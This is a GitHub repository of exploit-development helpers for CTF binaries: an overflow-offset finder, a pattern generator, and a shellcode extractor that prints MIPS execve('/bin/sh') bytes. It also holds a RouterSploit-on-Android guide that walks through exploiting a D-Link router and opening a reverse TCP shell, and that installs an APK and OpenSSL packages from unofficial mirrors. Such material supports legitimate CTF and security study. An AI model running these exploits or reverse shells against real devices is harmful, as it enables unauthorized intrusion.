├── Android_routersploit
├── com.termux-0.65-free-www.apksum.com.apk
├── openssl-dev_1.1.1-2_aarch64.deb.gz
├── openssl-dev_1.1.1-2_arm.deb.gz
├── openssl-tool_1.1.1-2_aarch64.deb.gz
├── openssl-tool_1.1.1-2_arm.deb.gz
├── openssl_1.1.1-2_aarch64.deb.gz
├── openssl_1.1.1-2_arm.deb.gz
└── readme.md
├── README.md
├── example_bin
├── 2018_xnuca_gets_noleave
├── pwn200_PIE
├── pwn200_PIE_64bits
└── xdctf15-pwn200
├── getOverFlowOffset.py
├── img
└── android_sploit.jpg
├── patternLocOffset.py
└── shell_extractor.py
/Android_routersploit/com.termux-0.65-free-www.apksum.com.apk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/com.termux-0.65-free-www.apksum.com.apk
--------------------------------------------------------------------------------
/Android_routersploit/openssl-dev_1.1.1-2_aarch64.deb.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl-dev_1.1.1-2_aarch64.deb.gz
--------------------------------------------------------------------------------
/Android_routersploit/openssl-dev_1.1.1-2_arm.deb.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl-dev_1.1.1-2_arm.deb.gz
--------------------------------------------------------------------------------
/Android_routersploit/openssl-tool_1.1.1-2_aarch64.deb.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl-tool_1.1.1-2_aarch64.deb.gz
--------------------------------------------------------------------------------
/Android_routersploit/openssl-tool_1.1.1-2_arm.deb.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl-tool_1.1.1-2_arm.deb.gz
--------------------------------------------------------------------------------
/Android_routersploit/openssl_1.1.1-2_aarch64.deb.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl_1.1.1-2_aarch64.deb.gz
--------------------------------------------------------------------------------
/Android_routersploit/openssl_1.1.1-2_arm.deb.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/Android_routersploit/openssl_1.1.1-2_arm.deb.gz
--------------------------------------------------------------------------------
/Android_routersploit/readme.md:
--------------------------------------------------------------------------------
1 | ### Setup RouterSploit on Android
2 |
3 |
4 |
5 |
6 | * RouterSploit
7 | * RouterSploit is a Exploitation Framework for Embedded Devices
8 | * https://github.com/threat9/routersploit
9 |
10 | * download termux
11 | * https://cn.apksum.com/down/com.termux_0.65_free
12 | * install python on termux
13 | * https://wiki.termux.com/wiki/Python
14 | * The default python of termux is python3, therefore it should work for routersploit.
15 |
16 | * Basic install command
17 | * git clone https://www.github.com/threat9/routersploit
18 | * cd routersploit
19 | * pip install -r requirements.txt
20 | * Errors when install routersploit on termux
21 | * errors of compiling cffi
22 | * [ref] https://github.com/termux/termux-packages/issues/1964
23 | * pkg install clang
24 | * if file "ffi.h" can not find,then
25 | * apt search ffi
26 | * apt install libffi libffi-dev
27 | * Then the cffi should be installed successfully.
28 | * errors of ,Issue installing cryptography (due to openssl built with no-engine) all about the openssl
29 | * [ref] https://github.com/termux/termux-packages/issues/2847
30 | * install the following old version of openssl, and it should work.
31 | * OpenSSL without no-engine config for AArch64: (in my test on HUAWEI MATE 8, the following packages should work)
32 | * [openssl_1.1.1-2_aarch64.deb.gz](https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl_1.1.1-2_aarch64.deb.gz)
33 | * [openssl-dev_1.1.1-2_aarch64.deb.gz](https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl-dev_1.1.1-2_aarch64.deb.gz)
34 | * [openssl-tool_1.1.1-2_aarch64.deb.gz](https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl-tool_1.1.1-2_aarch64.deb.gz)
35 | * OpenSSL without no-engine config for arm:
36 | * openssl_1.1.1-2_arm.deb.gz
37 | * openssl-dev_1.1.1-2_arm.deb.gz
38 | * openssl-tool_1.1.1-2_arm.deb.gz
39 | * download
40 | * using wget to download the above packages.
41 | * wget https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl_1.1.1-2_aarch64.deb.gz
42 | * wget https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl-dev_1.1.1-2_aarch64.deb.gz
43 | * wget https://github.com/desword/shellcode_tools/raw/master/Android_routersploit/openssl-tool_1.1.1-2_aarch64.deb.gz
44 | * [CMD]
45 | * gunzip openssl_1.1.1-2_arm.deb.gz
46 | * gunzip openssl-dev_1.1.1-2_arm.deb.gz
47 | * gunzip openssl-tool_1.1.1-2_arm.deb.gz
48 | * dpkg -i openssl_1.1.1-2_arm.deb
49 | * dpkg -i openssl-dev_1.1.1-2_arm.deb
50 | * dpkg -i openssl-tool_1.1.1-2_arm.deb
51 | * Quick keyboards
52 | * using tab (volum +, and t)
53 | * show all keyboards (volum +, and q)
54 | * cursor left/right (volum +, and a/d)
55 | * previous/latter commands (volum +, and w/s)
56 | * quick start for RouterSploit
57 | * python rsf.py
58 | * use scanner/autopwn
59 | * set target 192.168.1.1
60 | * rsf (AutoPwn) > use exploits/routers/dlink/dsl_2750b_rce
61 | * rsf (D-Link DSL-2750B RCE) > set target 192.168.1.1
62 | * [+] target => 192.168.1.1
63 | * rsf (D-Link DSL-2750B RCE) > check
64 | * [+] Target is vulnerable
65 | * rsf (D-Link DSL-2750B RCE) > run
66 | * cmd > show payloads
67 | * cmd > set payload reverse_tcp
68 | * cmd (MIPSBE Reverse TCP) > show options
69 | * cmd (MIPSBE Reverse TCP) > set lhost 192.168.1.10
70 | * cmd (MIPSBE Reverse TCP) > run
71 |
72 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # shellcode_tools
2 | A collection of useful tools for writing shellcode
3 |
4 | ### getOverFlowOffset.py V2.0
5 |
6 |
7 | * In previous, if you want to get the over flow offset to the EBP, you have to
8 | * 1. Find the vul function
9 | * 2. Set the breakpoints of the `return address` on IDA.
10 | * 3. Generating the pattern offset string file `passwd` using patternLocOffset.py
11 | * 4. Run the program with the input of file `passwd`.
12 | * 4.1 If the IDA runs on the host and the linux program runs on the guest, you have to copy `linux_server` to the guest and run it.
13 | * 4.2 Run the IDA on the host.
14 | * 4.3 Switch to the guest, copy the string of `passwd` into the waiting program `linux_server`.
15 | * 4.4 Switch back to the host, see the content of `EBP`
16 | * 5. Calculate the over flow offset using patternLocOffset.py again.
17 |
18 | * For now, you only need.
19 | * 1. Find the vul function and put the `return address` into getOverFlowOffset.py
20 | * 2. Boom! All set :).
21 |
22 |
23 | * Requirements
24 | * gdb
25 | * patternLocOffset.py
26 | * [pygdbmi](https://github.com/cs01/pygdbmi)
27 | * `pip install pygdbmi==0.9.0.2`
28 |
29 | * Change log
30 | * 2020-5-10
31 | * Fix pygdbmi version bug. 0.9.0.3 only support python3, but there are many bugs. So we fix it to 0.9.0.2.
32 | * 2019-11-2
33 | * Fix bugs of programs without `leave` instruction. (Fetch the offset ot the RET_address from $rsp/$esp directly).
34 | * 2019-10-24
35 | * Add support for dealing with programs that enable PIE.
36 | * Fix bugs of matching the output of $ebp. For both decimal and hex.
37 |
38 | * Usage
39 | ```
40 | [+] Usage: python getOverFlowOffset.py [vul_ret_address] [vul_program]
41 | [+] Hints: you give me vul_ret_address, I give you the offset :)
42 | [*] Example: python getOverFlowOffset.py 0x080484BD example_bin/xdctf15-pwn200
43 | ```
44 | * We now support tracking the program enabling PIE. The example in example_bin/pwn200_PIE
45 |
46 | ```
47 | $ python getOverFlowOffset.py 0x00000632 example_bin/pwn200_PIE
48 | [*] example_bin/pwn200_PIE is 32 bits
49 | [*] PIE is enabled
50 | [*] Found a leak function: write
51 | [*] Found the leaked address 0x565556c2, we can leave
52 | [*] The real vul_ret_address is:0x56555632
53 | [+] Found offset to the RET_ADDR is 112 (32bits) or 116 (64bits).
54 | ```
55 | * For the program without PIE. The example in example_bin/2018_xnuca_gets_noleave. Also, it has no `leave` instruction before `ret`.
56 | ```
57 | $ python getOverFlowOffset.py 0x400434 example_bin/2018_xnuca_gets_noleave
58 | [*] example_bin/2018_xnuca_gets_noleave is 64 bits
59 | [*] no PIE
60 | [+] Found offset to the RET_ADDR is 24 (32bits) or 28 (64bits).
61 | ```
62 |
63 | * Other examples
64 | * 32-bit program, without PIE, with `leave` instruction.
65 | * `python getOverFlowOffset.py 0x080484BD example_bin/xdctf15-pwn200`
66 | * 32-bit program, with PIE, with `leave` instruction.
67 | * `python getOverFlowOffset.py 0x00000632 example_bin/pwn200_PIE`
68 | * 64-bit program, with PIE, with `leave` instruction.
69 | * `python getOverFlowOffset.py 0x00000632 example_bin/pwn200_PIE_64bits`
70 | * 32-bit program, without PIE, without `leave` instruction.
71 | * `python getOverFlowOffset.py 0x400434 example_bin/2018_xnuca_gets_noleave `
72 |
73 | ### Android_routersploit
74 |
75 | Setup the RouterSploit on Android based on termux. [Procedure](https://github.com/desword/shellcode_tools/tree/master/Android_routersploit)
76 |
77 |
78 |
79 | ### patternLocOffset.py
80 |
81 |
82 | For generating a string to calculate the offset of RA.
83 | From the book <揭秘家用路由器0day漏洞挖掘技术>
84 |
85 | ### shell_extractor.py
86 |
87 | In traditional, we need to find the corresponding shellcode using IDA pro. For example,
88 |
89 | 
90 |
91 | Then we copy the binary and reconstruct them into the following formats:
92 |
93 | 
94 |
95 | We can find that there are lots of work for the above purpose. Therefore, I have developed a simple tool to extract the shellcode in binary form automatically from the ELF.
96 | With the following simple instructions, we can extract the shellcode in binary form conveniently for C testing or python testing.
97 |
98 |
99 | ```python
100 | $ python shell_extractor.py execve c
101 | char shellcode[] = {
102 | "\x24\x06\x06\x66"
103 | "\x04\xd0\xff\xff"
104 | "\x28\x06\xff\xff"
105 | "\x27\xbd\xff\xe0"
106 | "\x27\xe4\x10\x01"
107 | "\x24\x84\xf0\x1f"
108 | "\xaf\xa4\xff\xe8"
109 | "\xaf\xa0\xff\xec"
110 | "\x27\xa5\xff\xe8"
111 | "\x24\x02\x0f\xab"
112 | "\x00\x00\x00\x0c"
113 | "\x2f\x62\x69\x6e"
114 | "\x2f\x73\x68\x00"
115 | };
116 | ```
117 |
118 | The general usage is:
119 |
120 | ```bash
121 | [+] usage: python shell_extractor.py [filename] [format]
122 | [*] where format can be c or py
123 | ```
124 |
125 | The core component is to use the command "readelf –S execve" to obtain the offset and size of the section .text. Then the format is generated accordingly.
126 |
127 | 
128 |
129 | For example, 0xd0 is the offset of the shellcode, while 0x30 is the size of the shellcode.
130 |
131 |
132 | The original article can be found at: [路由器漏洞复现终极奥义——基于MIPS的shellcode编写](https://www.anquanke.com/post/id/153725)
133 |
--------------------------------------------------------------------------------
/example_bin/2018_xnuca_gets_noleave:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/example_bin/2018_xnuca_gets_noleave
--------------------------------------------------------------------------------
/example_bin/pwn200_PIE:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/example_bin/pwn200_PIE
--------------------------------------------------------------------------------
/example_bin/pwn200_PIE_64bits:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/example_bin/pwn200_PIE_64bits
--------------------------------------------------------------------------------
/example_bin/xdctf15-pwn200:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/example_bin/xdctf15-pwn200
--------------------------------------------------------------------------------
/getOverFlowOffset.py:
--------------------------------------------------------------------------------
1 |
2 | import commands
3 | import os
4 | import sys
5 | import subprocess
6 | import re
7 |
8 | from pygdbmi.gdbcontroller import GdbController
9 |
10 | # The rough steps.
11 | # 1. get the return address. We need to provide the retun address. in the vuladdress.
12 | # 2. using gdb to set breakpoints at the return address.
13 | # 3. generate the patternoffset files, and read the files to print into the program.
14 | # 4. run the program using gdb until the breakpoints.
15 | # 5. print the EBP value and calculate the offset using pattern offset.
16 |
17 | def usage():
18 | print "[+] Usage: python getOverFlowOffset.py [vul_ret_address] [vul_program]"
19 | print "[+] Hints: you give me vul_ret_address, I give you the offset :)"
20 | print "[*] Example: python getOverFlowOffset.py 0x080484BD example_bin/xdctf15-pwn200"
21 |
22 |
23 | def print_log(response):
24 | for each in response:
25 | try:
26 | print "[%s]\t%s\t%s" % (each['type'], each['message'], each['payload'])
27 | # return [each['type'], each['message'], each['payload']]
28 | except:
29 | pass
30 |
31 |
32 | def parse_response(response, type):
33 | parse_results = []
34 | for each in response:
35 | try:
36 | if each['type'] in type:
37 | parse_results.append(each['payload'])
38 | except:
39 | pass
40 | return parse_results
41 |
42 |
43 | def parse_response_list(response, typeList):
44 | parse_results = []
45 | for each in response:
46 | try:
47 | if each['type'] in typeList:
48 | parse_results.append( (each['type'], each['payload']))
49 | except:
50 | pass
51 | return parse_results
52 |
53 |
54 |
55 | def find_real_vulret_address():
56 | global ret_address
57 |
58 | # search the usable functions.
59 | op = commands.getstatusoutput("strings %s" % (target_program))
60 | # print op
61 | leakAddrFunc = "" # used for lead the real address.
62 | tmp1 = op[1].split('\n')
63 | # print tmp1
64 | for eachStr in tmp1:
65 | if eachStr in funcListOut:
66 | leakAddrFunc = eachStr
67 | break;
68 | if leakAddrFunc == "":# perform func search using in-like.
69 | for eachStr in tmp1:
70 | if eachStr in funcListIn:
71 | leakAddrFunc = eachStr
72 | break;
73 | if leakAddrFunc == "":
74 | print "[-] No leak functions can be used. Can not leak the real address."
75 | exit(1)
76 | print "[*] Found a leak function: %s" % leakAddrFunc
77 |
78 |
79 | gdbmi = GdbController()
80 | response = gdbmi.write('-file-exec-file %s' % (target_program))
81 | response = gdbmi.write('file %s' % (target_program))
82 |
83 | response = gdbmi.write('break %s' % (leakAddrFunc))
84 | # print_log(response)
85 |
86 | response = gdbmi.write('run')
87 | # print_log(response)
88 |
89 | response = gdbmi.write('finish')
90 | # print_log(response)
91 |
92 | i=0;
93 | maxi = 10;
94 | badStr = ["<", "?"]
95 | realAddress = ""
96 | while True:
97 | if programBits == 32:
98 | response = gdbmi.write('print $eip')
99 | response = gdbmi.write('print $eip')
100 | elif programBits == 64:
101 | response = gdbmi.write('print $rip')
102 | response = gdbmi.write('print $rip')
103 | # print_log(response)
104 |
105 | typeList =["console"]
106 | results = parse_response_list(response, typeList)
107 | # print results
108 |
109 |
110 |
111 | traget_str = results[0][1]
112 | isOkToLeave = 1
113 | for eachBad in badStr:
114 | if traget_str.find(eachBad) != -1:
115 | isOkToLeave = 0
116 | break;
117 | if isOkToLeave == 1: # now we found the real address and can leave.
118 | # print "[*] Found the real address, we can leave"
119 | ### extract the address from the result.
120 | m = re.search(r"0x([a-f0-9]+)", results[0][1])
121 | if m:
122 | # print "[*] address 0x%s" % (m.group(1))
123 | realAddress = m.group(1)
124 | print "[*] Found the leaked address 0x%s, we can leave" % (realAddress)
125 |
126 | break;
127 |
128 | ### not ok example.
129 | # '$2 = (void (*)()) 0x7ffff7ddac42 '
130 | ### ok example,
131 | # $2 = (void (*)()) 0x555555554739
132 |
133 | response = gdbmi.write('finish')
134 |
135 |
136 | ### now we can compus the real vul_ret_address.
137 | ret_address = "0x" + realAddress[:-3] + ret_address[-3:]
138 | print "[*] The real vul_ret_address is:%s" % (ret_address)
139 |
140 | ### list of functions for combating with program enabling PIE.
141 | funcListIn = ['read', 'gets', 'scanf']
142 | funcListOut = ['puts', 'write', 'printf']
143 |
144 |
145 |
146 |
147 | try:
148 | ret_address = sys.argv[1]
149 | target_program = sys.argv[2]
150 | except:
151 | usage()
152 | exit(1)
153 |
154 |
155 | # ret_address = "0x080484BD"
156 | # target_program = "example_bin/xdctf15-pwn200"
157 | # ret_address = "0x00632"
158 | # target_program = "example_bin/pwn200_PIE"
159 | # target_program = "example_bin/pwn200_PIE_64bits"
160 |
161 |
162 | pattern_len = 700
163 | pattern_file_name = "passwd"
164 |
165 | programBits = 0
166 | enablePIE = 0
167 |
168 |
169 | ### check program is 32bits or 64 bits.
170 | op = commands.getstatusoutput("file %s" % (target_program))
171 | # print op
172 | tmp1 = op[1].split(':')[1]
173 | tmp2 = tmp1.split(' ')[2]
174 | tmp3 = tmp2.split('-')[0]
175 | print "[*] %s is %s bits" % (target_program, tmp3)
176 | programBits = int(tmp3)
177 |
178 |
179 | ### [old way]check whether enable PIE. We now only check the ret_address to infer whether enabling PIE.
180 | # smallInt_check = 0xfff
181 | # addre_to_int = int(ret_address, 16)
182 | # if addre_to_int < smallInt_check:
183 | # enablePIE=1
184 | # print "[*] PIE is enabled"
185 | # else:
186 | # enablePIE=0
187 | # print "[*] no PIE"
188 |
189 | ### check whether enable PIE. classic way. PIE program is .so, while non-PIE is executable.
190 | op = commands.getstatusoutput("readelf -h %s | grep Type" % (target_program))
191 | # print op
192 | if op[1].find("Shared object file") != -1:
193 | print "[*] PIE is enabled"
194 | enablePIE = 1
195 | elif op[1].find("Executable file") != -1:
196 | print "[*] no PIE"
197 | enablePIE = 0
198 |
199 |
200 | ### if PIE is enabled, we first infer the real vul_ret_address.
201 | if enablePIE == 1:
202 | find_real_vulret_address()
203 |
204 |
205 | op = commands.getstatusoutput("python patternLocOffset.py -l %d -f %s -c" % (pattern_len, pattern_file_name))
206 |
207 | # Start gdb process
208 | gdbmi = GdbController()
209 | # print(gdbmi.get_subprocess_cmd()) # print actual command run as subprocess
210 |
211 | response = gdbmi.write('-file-exec-file %s' % (target_program))
212 | # print_log(response)
213 |
214 | response = gdbmi.write('break *%s' % (ret_address))
215 | # print_log(response)
216 |
217 | response = gdbmi.write('run < %s' % (pattern_file_name))
218 | # print_log(response)
219 |
220 |
221 | ### previously print ebp, to infer ret_address. However, without leave; ret. It will produce error.
222 | # if programBits == 32:
223 | # response = gdbmi.write('print $ebp')
224 | # elif programBits == 64:
225 | # response = gdbmi.write('print $rbp')
226 | # print_log(response)
227 |
228 | # over_write_str = ""
229 | # for eachResp in response:
230 | # try:
231 | # eachResp['payload'].index("$1")
232 | # over_write_str = eachResp['payload'].split(" ")[-1]
233 | # except:
234 | # pass
235 |
236 | # # transform the offset into hex.
237 | # if over_write_str.find('0x') == -1:
238 | # over_write_str = hex(int(over_write_str))
239 |
240 | #### change to directly print the offset to retaddress.
241 | if programBits == 32:
242 | response = gdbmi.write('x/2 $esp')
243 | elif programBits == 64:
244 | response = gdbmi.write('x/2 $rsp')
245 | # print_log(response)
246 | rsp_list = parse_response(response, 'console')
247 | over_write_str = ""
248 | for eachRsp in rsp_list:
249 | if eachRsp.find("0x7ff") != -1 or eachRsp.find("0xff") != -1:
250 | tmpstr = eachRsp.split('\\t')[-1]
251 | try:
252 | tmpInt = int(tmpstr)
253 | except:
254 | tmpInt = int(tmpstr[:-2])
255 | over_write_str = hex(tmpInt)
256 | break;
257 |
258 |
259 |
260 | # finally, to find the offset to the ret_address.
261 | op = commands.getstatusoutput("python patternLocOffset.py -l %d -s %s" % (pattern_len, over_write_str))
262 | op_str = op[1]
263 | # print_log(op)
264 |
265 | op = commands.getstatusoutput("rm %s" % (pattern_file_name))
266 |
267 |
268 | offset_find = -1
269 | m = re.search(r'offset \d+', op_str)
270 | if m is not None:
271 | offset_find = int(m.group().split(" ")[-1])
272 | else:
273 | print "[-] No matches. Check the return address."
274 | exit(1)
275 |
276 | # print "[+] Found offset to the EBP is %d." % (offset_find)
277 | # print "[+] THe offset to the RET_ADDR is %d (32bits) or %d (64bits)." % (offset_find + 4, offset_find + 8)
278 |
279 |
280 | print "[+] Found offset to the RET_ADDR is %d (32bits) or %d (64bits)." % (offset_find, offset_find+4)
281 |
--------------------------------------------------------------------------------
/img/android_sploit.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/desword/shellcode_tools/4446ec3b1c14ac31e6a3cda5c81568f25e57fd8f/img/android_sploit.jpg
--------------------------------------------------------------------------------
/patternLocOffset.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #####################################################################################
3 | ## Create pattern strings & location offset
4 | ## Tested against Ubuntu 12.04 & Windows # #
5 | ##
6 | ## Example:
7 | ## C:\Users\Lenov\Desktop> patterLocOffset.py -c -l 260 -f output.txt
8 | ### [*] Create pattern string contains 260 characters ok!
9 | ### [+] output to output.txt ok!
10 | ##
11 | ## C:\Users\Lenov\Desktop> patternLocOffset.py -s 0x41613141 -l 260
12 | ### [*] Create pattern string contains 260 characters ok!
13 | ### [*] Exact match at offset 3
14 | #
15 | ## Nimdakey # 09-10-2013
16 | #####################################################################################
17 |
18 | import argparse
19 | import struct
20 | import binascii
21 | import string
22 | import time
23 | import sys
24 | import re
25 |
26 | a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
27 | b = "abcdefghijklmnopqrstuvwxyz"
28 | c = "0123456789"
29 |
30 | def generate(count,output):
31 | #
32 | # pattern create
33 | codeStr = ''
34 | print '[*] Create pattern string contains %d characters'%count,
35 | timeStart = time.time()
36 | for i in range(0,count):
37 | codeStr += a[i/(26*10)]+b[(i%(26*10))/10]+c[i%(26*10)%10]
38 | print 'ok!'
39 | if output:
40 | print '[+] output to %s'%output,
41 | fw = open(output,'w')
42 | fw.write(codeStr)
43 | fw.close()
44 | print 'ok!'
45 | else:
46 | return codeStr
47 | print "[+] take time: %.4f s"%(time.time()-timeStart)
48 |
49 | def patternMatch(searchCode, length=1024):
50 | #
51 | # pattern search
52 | offset = 0
53 | pattern = None
54 |
55 | timeStart = time.time()
56 | is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
57 | isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
58 |
59 | if is0xHex:
60 | #0x41613141
61 | pattern = binascii.a2b_hex(searchCode[2:])
62 | elif isHex:
63 | #41613141
64 | pattern = binascii.a2b_hex(searchCode)
65 | else:
66 | print '[-] seach Pattern eg:0x41613141'
67 | sys.exit(1)
68 |
69 | source = generate(length,None)
70 | offset = source.find(pattern)
71 |
72 | if offset != -1:
73 | print "[*] Exact match at offset %d"%offset
74 | else:
75 | print "[*] No exact matches, looking for likely candidates..."
76 | reverse = list(pattern)
77 | reverse.reverse()
78 | pattern = "".join(reverse)
79 | offset = source.find(pattern)
80 | if offset != -1:
81 | print "[+] Possible match at offset %d (adjusted another-endian)"%offset
82 | print "[+] take time: %.4f s"%(time.time()-timeStart)
83 |
84 | def main():
85 | ## parse argument
86 | parser = argparse.ArgumentParser()
87 | parser.add_argument('-s', '--search', help='search for pattern')
88 | parser.add_argument('-c', '--create', help='create a pattern',\
89 | action='store_true')
90 | parser.add_argument('-f', '--file', help='output file name',\
91 | default='patternShell.txt')
92 | parser.add_argument('-l', '--length',help='length of pattern code',\
93 | type=int,default=1024)
94 | #parser.add_argument('-v', dest='verbose', action='store_true')
95 | args = parser.parse_args()
96 |
97 | ## save all argument
98 | length = args.length
99 | output = args.file
100 | #verbose = args.verbose
101 | createCode = args.create
102 | searchCode = args.search
103 |
104 | if createCode and (0 < args.length <= 26*26*10):
105 | #eg: -c -l 90
106 | generate(length,output)
107 | elif searchCode and (0 < args.length <= 26*26*10):
108 | #eg: -s 0x474230141
109 | patternMatch(searchCode,length)
110 | else:
111 | print '[-] You shoud chices from [-c -s]'
112 | print '[-] Pattern length must be less than 6760'
113 | print 'more help: pattern.py -h'
114 | # ...
115 |
116 | if __name__ == "__main__":
117 | main()
118 |
--------------------------------------------------------------------------------
/shell_extractor.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #####################################################################################
3 | ## extract shellcode binarys for c or python
4 | ## Tested against Ubuntu 12.04 & Windows # #
5 | ##
6 | ## Example:
7 | # $ python shell_extractor.py execve c
8 | # char shellcode[] = {
9 | # "\x24\x06\x06\x66"
10 | # "\x04\xd0\xff\xff"
11 | # "\x28\x06\xff\xff"
12 | # "\x27\xbd\xff\xe0"
13 | # "\x27\xe4\x10\x01"
14 | # "\x24\x84\xf0\x1f"
15 | # "\xaf\xa4\xff\xe8"
16 | # "\xaf\xa0\xff\xec"
17 | # "\x27\xa5\xff\xe8"
18 | # "\x24\x02\x0f\xab"
19 | # "\x00\x00\x00\x0c"
20 | # "\x2f\x62\x69\x6e"
21 | # "\x2f\x73\x68\x00"
22 | # };
23 | ## desword # 2018-8-2
24 | #####################################################################################
25 |
26 |
27 |
28 | import os
29 | import sys
30 |
31 | def ExtractOffset(line):
32 | sp = line.split(' ')
33 | while '' in sp:
34 | sp.remove('')
35 | # print sp
36 |
37 | try:
38 | section = sp[2]
39 | except:
40 | section = -1
41 | try:
42 | offset = int(sp[5], 16)
43 | except:
44 | offset = -1
45 | try:
46 | size = int(sp[6], 16)
47 | except:
48 | size = -1
49 | return [section, offset, size]
50 |
51 | def usage():
52 | print "[+] Usage: python shell_extractor.py [filename] [format]"
53 | print "[*] Where format can be c or py"
54 |
55 |
56 |
57 | try:
58 | fileName = sys.argv[1]
59 | printformat = sys.argv[2]
60 | except:
61 | usage()
62 | exit(1)
63 |
64 |
65 | extractionCmd = "readelf -S " + fileName
66 |
67 |
68 | result = os.popen(extractionCmd)
69 | res = result.read()
70 | lines = res.splitlines()
71 |
72 | section = 0; offset = 0; size = 0;
73 |
74 | for line in lines:
75 | [section, offset, size] = ExtractOffset(line)
76 | if section == ".text":
77 | # print line
78 | # print "find, offset", offset, "size", size
79 | break;
80 |
81 |
82 |
83 | f = open(fileName,"rb")
84 | outfile = []
85 | i = 0
86 | while 1:
87 | c = f.read(1)
88 | i = i + 1
89 | if not c:
90 | break
91 | if ord(c) <= 15:
92 | outfile.append("0x0"+hex(ord(c))[2:])
93 | else:
94 | outfile.append(hex(ord(c)))
95 |
96 | f.close()
97 |
98 |
99 | ### extract shell code
100 |
101 | extracted = outfile[offset:offset+size]
102 |
103 |
104 |
105 | ### print for shellcode book.
106 |
107 | if printformat == "py":
108 | shellOutput = ["shellcode = \"\""]
109 | shellHeader = "shellcode +="
110 | for i in range(0, len(extracted), 4):
111 | shelltmp = ""
112 | for eachByte in extracted[i:i+4]:
113 | shelltmp += ("\\x" + eachByte[2:])
114 | shellOutput.append("%s \"%s\"" % (shellHeader, shelltmp))
115 |
116 | shellOutputStr = "\n".join(shellOutput)
117 | print shellOutputStr
118 | elif printformat == "c":
119 |
120 | ### print for c source code test
121 |
122 | shellOutput = ["char shellcode[] = {"]
123 | for i in range(0, len(extracted), 4):
124 | shelltmp = ""
125 | for eachByte in extracted[i:i+4]:
126 | shelltmp += ("\\x" + eachByte[2:])
127 | shellOutput.append("\"%s\"" % (shelltmp))
128 | shellOutput.append("};")
129 |
130 | shellOutputStr = "\n".join(shellOutput)
131 | print shellOutputStr
132 |
133 |
134 |
135 |
--------------------------------------------------------------------------------